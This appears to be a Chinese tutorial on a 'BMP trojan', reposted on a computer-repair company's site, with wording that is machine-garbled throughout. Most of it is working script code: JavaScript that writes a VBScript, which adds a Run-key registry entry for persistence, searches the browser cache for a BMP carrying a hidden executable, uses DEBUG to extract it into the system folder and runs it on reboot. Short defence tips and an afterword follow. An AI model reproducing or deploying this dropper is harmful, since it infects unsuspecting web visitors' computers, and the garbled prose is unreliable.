详解BMP木马
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000);
把该剧本生存为"js.js",在网页中拔出:
该剧本主要会在当地机器的SYSTEM目次下天生一个“S.VBS”文件,该剧本文件会在下次开机时自动运行。主要用于从暂时目次中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从暂时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'天生一个DEBUG剧本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'上面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
这个剧本会找出在暂时文件夹中的bmp文件,并天生一个DEBUG的剧本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它生存到tmp.dat中.后面的剧本再把它复制到SYSTEM的目次下.这个被还原的EXE文件会在下次重起的时候运行.这便是BMP木马的根本完成历程.
详细剧本代码请参http://hotsky.363.net
防备要领:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安置有用的杀毒软件,由于这些剧本有很多多少杀毒软件已经可以查出来了.
在条件容许的情况下,安置WIN2K SP3,尽量制止去一些不名来历的网站.
-----------------------------------------------------------------------------------------------------------------------------
后记:
近来有些网友总是在评论辩论我们的题目,我们承认,我们不是妙手,写一个木马也绝对不是什么了不起的事变,这是究竟,大家也可以写木马,但我们要增补几点:
1)我们不止会用DELPHI,还会用C++BUILDER(便是不喜好VC,没办法).
2)广外女生服务端没有用任何VCL组件.
3)我们只是初学者.没有什么了不起.
但是我们想大家知道,会用木马也不是什么了不起的事变.妙手更加不会在网页中参加这些代码来害人,我们这个网站主要目标是让有兴味的朋友,另有初学者能学到些有用的东西,并不是要当什么PK妙手,每个人都有初学的阶段,我也有拿着NETSPY到处抓弄他人的日子,网络是假造天下,我们在这里面除了聊天,网络游戏等娱乐之外,学点东西也是应该的,我们也努力去做好,大家的批评我们是可以担当的,希望大家能明确我们,做好不是想象那么容易的.
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
上一篇: 利用服务器漏洞远程注册DLL
下一篇: 吃透木马原理,把它扼杀在摇篮里